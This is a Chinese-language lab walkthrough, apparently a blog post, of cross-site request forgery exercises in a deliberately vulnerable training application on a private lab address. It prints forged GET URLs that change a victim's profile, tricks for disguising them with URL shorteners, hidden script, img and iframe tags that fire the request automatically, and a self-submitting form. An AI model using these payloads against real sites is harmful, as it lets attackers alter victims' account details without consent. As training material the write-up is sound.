在 CSRF 的攻击场景中,攻击者会伪造一个请求,这个请求一般都是修改一些参数之类的请求,然后诱骗目标发送这个请求,一旦目标发送了这个请求,整个攻击就完成了。
CSRF 常常与 XSS 混淆:
CSRF 是借用户的权限完成攻击,攻击者并没有拿到用户的权限,
而 XSS 是直接盗取到了用户的权限,然后实施破坏。
GET
这里的账号密码我就不去尝试了,直接用 tips 里面的账号密码
这里我引入一个场景
攻击者:vince
被攻击者:kobe
我是 vince,我想通过 csrf 去修改 kobe 的性别、手机、住址和邮箱
这里我就首先进入 vince 的管理后台,然后修改信息,然后抓住请求然后让 kobe 发送这条请求
首先进入 vince 后台,修改信息
抓包
获取 get 请求
1 | http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=111111&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit |
退出登录
模拟 kobe 登录后台
然后发送请求
发送往请求之后 kobe 的个人信息已经修改掉了
想象一下,这里修改掉的是密码会发生什么
利用小技巧
- 短链接
使用短链接平台将 url 缩短
这里是将电话修改为 222222 的请求
然后我们让 kobe 发送这个请求
然后 kobe 的手机改变了
- 结合 xss
配合 xss 形成组合拳
只要标签有 src 属性就可以尝试,包括scirpt
,iframe
,img
等标签1
2
3
4
5
6
7
8<html>
<head>
<title>XSS&CSRF</title>
</head>
<body>
<script src="http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=333333&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit"></script>
</body>
</html>
写入一个 xss. html,只要访问 http://172.17.10.4:8000/xss.html ,就会把 kobe 的手机号码修改为 333333
成功
1 | <img src="http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=333333&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit"> |
1 | <iframe src="http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=333333&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit" style="display:none;"></iframe> |
只要有 src 标签都可以尝试
进阶的 html 构造
1 | <html> |
该表单通过:
1 | <script> document.forms["csrf"].submit(); </script> |
实现自动触发提交 id 为 csrf 的表单,这个在实战中是比较实用的一个技巧。
POST
post 请求是没有办法直接伪造 url 实现
先抓包看看
结合 xss 实现
1 | <html> |
该表单通过:
1 | <script> document.forms["csrf"].submit(); </script> |
实现自动触发提交 id 为 csrf 的表单,这个在实战中是比较实用的一个技巧。
网上看题解有用工具生成 html,感觉差别不大,这里就只放工具名字了OWASP CSRFTESTER工具
Token
应该是加上了 token 校验,加上 token 校验难度就高了
抓包看看
这时候是 get 请求
从国光 dvwa 靶场那看到两种方法 ()
- 构造 html 实现 csrf
- JS 发起 HTTP CSRF 请求
尝试未果,作罢,这个 token 绕过有点难